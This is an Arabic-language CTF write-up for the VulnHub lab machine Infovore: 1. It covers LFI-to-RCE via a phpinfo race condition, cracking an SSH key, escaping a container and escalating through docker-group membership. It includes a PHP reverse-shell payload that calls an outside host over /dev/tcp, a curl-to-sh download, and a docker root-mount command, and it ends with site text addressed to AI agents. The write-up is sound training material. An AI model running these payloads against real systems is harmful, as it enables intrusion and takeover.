> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/vulnhub/linux-vulnhub/infovore-1-vulnhub-writeup.md).

# Infovore: 1 تقرير VulnHub

{% embed url="<https://www.vulnhub.com/entry/infovore-1,496/>" %}

{% hint style="warning" %}
المهارات:

* استطلاع الويب
* LFI (تضمين ملف محلي)
* استغلال file/\_uploads الظاهر في info.php (من LFI إلى RCE عبر phpinfo() + حالة سباق)
* استكشاف النظام (LinPEAS)
* كسر مفتاح SSH الخاص المحمي
* استغلال الثقة في زوج مفاتيح SSH للهروب من الحاوية
* استغلال مجموعة docker (تصعيد الصلاحيات)
  {% endhint %}

## الاستطلاع

#### **إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/327488b44bc02a9a57c292faf683c62c688b7904" alt=""><figcaption></figcaption></figure>

#### **اكتشاف عنوان IP باستخدام arp-scan:**

استخدام الأمر arp-scan لاكتشاف عنوان IP الخاص بالجهاز:

```bash
arp-scan -I ens33 --localnet --ignoredups
```

<figure><img src="/files/f0a783714eb017a2ce2493ac1063412afc49c251" alt=""><figcaption></figcaption></figure>

#### **اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.71.146 -oG allPorts
```

<figure><img src="/files/f9d96bb835d220920410613d3ee5f4628868bbc4" alt=""><figcaption></figcaption></figure>

#### **فحص إصدار المنافذ باستخدام Nmap:**

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
 nmap -sCV -p80 192.168.71.146 -oN targeted
```

<figure><img src="/files/24a4cf3f18cd3a5c5983fb739cbcee1f214feb07" alt=""><figcaption></figcaption></figure>

#### فحص الخادم باستخدام Wappalyzer:

استخدام Wappalyzer لتحديد أن الخادم يستخدم Apache ولغة البرمجة PHP.

<figure><img src="/files/f6f75ebc2c3fcdde3bf467e9db63bb742dfebfc5" alt=""><figcaption></figcaption></figure>

#### **تحديد إصدار الهدف باستخدام WhatWeb**

استخدام WhatWeb لفحص الموقع وتحديد إصدار الجهاز (Ubuntu) وApache:

```bash
whatweb http://192.168.71.146
```

<figure><img src="/files/3aa19205b99b2f0794426a6bd93021bdbed2682c" alt=""><figcaption></figcaption></figure>

## استطلاع لـ `info.php`

**البحث عن المجلدات باستخدام Gobuster:**

استخدم **Gobuster** باستخدام قاموس للعثور على ملفات الوصول المخفية.

```bash
gobuster dir -u http://192.168.71.146/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php,txt,html,php.bak
```

<figure><img src="/files/c9844c32696dbe57650ab77d83c879a0a77e0abe" alt=""><figcaption></figcaption></figure>

تم العثور على ملف باسم **info.php** يحتوي على كامل إعدادات PHP الخاصة بالخادم.

<figure><img src="/files/46d6649bea01f00a0456f3979f04a82029b4c785" alt=""><figcaption></figcaption></figure>

يمكن ملاحظة أنه لا توجد دالة معطلة.

<figure><img src="/files/cc838a7e361e4bd7765f9c37aa219f5ed40ddbbe" alt=""><figcaption></figcaption></figure>

## ثغرة رفع الملفات:

بعد تحديد موقع `info.php` الملف، استكشف إمكانية رفع ملفات إلى الخادم.

<figure><img src="/files/fbf489c3aa33b348f935bdc2aa2a3c80da02eeca" alt=""><figcaption></figcaption></figure>

**اعتراض باستخدام Burp Suite:**

استخدم Burp Suite لاعتراض الطلب. غيّر الطريقة من "GET" إلى "POST".<br>

<figure><img src="/files/fc271b9b53236134d3089488124b7e570fead754" alt=""><figcaption></figcaption></figure>

#### طلب استيراد ملف نصي إلى الخادم:

استخدم طلب Burp Suite أدناه لرفع ملف باسم `test.txt`:

```markup
Content-Type: multipart/form-data; boundary=--pwned


----pwned
Content-Disposition: form-data; name="name"; filename="test.txt"
Content-Type: text/plain

هذا اختبار
----pwned
```

<figure><img src="/files/53eb9d157050fb21cef0f28dc5f1e9be048243f8" alt=""><figcaption></figcaption></figure>

**حقن كود PHP:**

حاول حقن كود PHP باستخدام البنية نفسها في Burp Suite. غيّر محتوى الملف المراد حقنه.

```markup
Content-Type: multipart/form-data; boundary=--pwned


----pwned
Content-Disposition: form-data; name="name"; filename="cmd.php"
Content-Type: text/plain

<?php system("bash -c 'bash -i >& /dev/tcp/192.168.71.45/443 0>&1'"); ?>
----pwned
```

#### تأكيد الحقن:

تحقق مما إذا كان الحقن ناجحًا بتأكيد وجود الملف "cmd.php" على الخادم.

<figure><img src="/files/d1c8b6ddd4b58478f4aa7cc763c68aa308c0883a" alt=""><figcaption></figcaption></figure>

#### البحث عن LFI

للعثور على ثغرة LFI، نستخدم أداة wfuz لتحديد معلمة محتملة تعيد التوجيه إلى ملف PHP. الأمر كما يلي:

```bash
wfuzz -c --hl=136 -t 200 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.71.146/index.php?FUZZ=/etc/passwd"
```

<figure><img src="/files/6ceb621a6fc93e864bc250dba4a919a31f5f53ae" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/fb782173e7e88fd9b8ffb3d1d981cfeeecfda7d6" alt=""><figcaption></figcaption></figure>

#### صعوبة بسبب التغيير المستمر للملف:

للأسف، لا يمكننا عرض محتويات الملف cmd.php بسبب التغير المستمر للمجلد المؤقت:

<figure><img src="/files/71e28748811961fadac26e91114195e78eda9e4a" alt=""><figcaption></figcaption></figure>

## ثغرة حالة السباق:

استخدم [برنامجًا نصيًا آليًا](https://www.insomniasec.com/downloads/publications/phpinfolfi.py) لاستغلال حالة السباق في العملية.

#### تعديل السكربت

نقوم بتعديل السكربت ليناسب حالتنا الخاصة.

<figure><img src="/files/2feaa46abcb23240f03bad4c24a270a8ffac8808" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/af1d0f1c87465dc06da25041df717ec87e154963" alt=""><figcaption></figcaption></figure>

#### الوصول الناجح إلى الجهاز:

ننجح في الوصول إلى الجهاز باستغلال حالة السباق.

<figure><img src="/files/b2ee408007d15e296af87d7d989ec724ca48acc6" alt=""><figcaption></figcaption></figure>

#### تثبيت الطرفية لتصعيد الصلاحيات:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## تصعيد الامتيازات:

نلاحظ أننا داخل حاوية ونستخدم الأمر للعثور على عنوان الحاوية الفعلية (192.168.150.1). ثم نتحقق مما إذا كان المنفذ 22 مفتوحًا على هذا الجهاز.

<figure><img src="/files/b16f44c1745228a2d30851740900af4dd28f5603" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/c1c0e695417787fdef13a28f377933e6e1078fe6" alt=""><figcaption></figcaption></figure>

```bash
echo '' > /dev/tcp/192.168.150.1/22
```

<figure><img src="/files/77c1163d5e9a3931f404b14ebc789dfde92cc0e1" alt=""><figcaption></figcaption></figure>

### **تعداد النظام (**[**LinPEAS**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)**):**

نستخدم LinPEAS لتعداد الامتيازات:

```bash
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
```

<figure><img src="/files/9680c7c4ee733dbd0427de4c781a64924eb73102" alt=""><figcaption></figcaption></figure>

#### نعثر على مجلد tgz غير متوقع في الدليل الجذر.

<figure><img src="/files/425ecfaf453d0933c843373c1f7687b6da236c4f" alt=""><figcaption></figcaption></figure>

```bash
cp /.oldkeys.tgz /tmp/
cd !$
mv .oldkeys.tgz oldkeys.tgz
tar -xf oldkeys.tgz
```

### /*/* كسر مفتاح SSH الخاص المحمي:/*/*

#### تحديد مفتاح SSH الخاص

نحدد زوجًا من مفاتيح SSH العامة والخاصة لـ OpenSSH.

<figure><img src="/files/40c0bd47694a90375fcf17789d5db5c75ea22ce9" alt=""><figcaption></figcaption></figure>

#### كسر المفتاح الخاص:

* نلاحظ أن المفتاح الخاص مشفّر

<figure><img src="/files/1ac2128eed1d514aa887a73365c3ab6a4e98812c" alt=""><figcaption></figcaption></figure>

* نستخدم **ssh2john.py** لتحويل محتوى الملف إلى تجزئة:

```bash
python2.7 /usr/share/john/ssh2john.py id_rsa
```

<figure><img src="/files/13795cd0302270352099d153c2a4bf6f71c6d61f" alt=""><figcaption></figcaption></figure>

* ثم نستخدم John the Ripper لكسر الهاش باستخدام قائمة كلمات مرور.

```bash
john -w:/usr/share/wordlists/rockyou.txt hash
```

<figure><img src="/files/dc9993a018aef1743a7e7b2db935b21b3a5c9bed" alt=""><figcaption></figcaption></figure>

#### الوصول بصلاحيات الجذر:

نحصل على وصول إلى الجهاز بصلاحيات الجذر.

<figure><img src="/files/13cb19eb12dade5ac546660ae0b08c529cd354e7" alt=""><figcaption></figcaption></figure>

### **استغلال الثقة في زوج مفاتيح SSH للهروب من الحاوية:**

نحاول الانتقال إلى جهاز آخر باستخدام إعدادات known/hosts في دليل ssh داخل الحاوية، مما يتيح لنا الاتصال بالمستخدم admin على الجهاز المضيف.

<figure><img src="/files/a97c45e95253d0284b9dae6f658f59311e367d72" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/cb59a298721b25d5cf687059f132f3400f89ebdf" alt=""><figcaption></figcaption></figure>

### **استغلال مجموعة Docker (تصعيد الصلاحيات):**

#### [docker](/ar/privesc/user-groups/docker-group-linux-privilege-escalation.md) عضوية المجموعة:

نلاحظ أننا جزء من مجموعة docker.

<figure><img src="/files/a5d104ddc5f3e090213155706e2a9915fcc5a6dd" alt=""><figcaption></figcaption></figure>

#### استخدام مجموعة docker لتجاوز الصلاحيات:

نستغل عضويتنا في مجموعة docker لعمل mount للجهاز الحقيقي داخل حاوية إدارية:

```bash
docker run -dit -v /:/mnt/root --name privesc theart42/infovore
```

<figure><img src="/files/846646cb823086fe0b7334d8d38a639538046ed9" alt=""><figcaption></figcaption></figure>

تم الاختراق :)

<figure><img src="/files/8339340136e4989f17f4765170dfc82339e5cdbb" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/vulnhub/linux-vulnhub/infovore-1-vulnhub-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
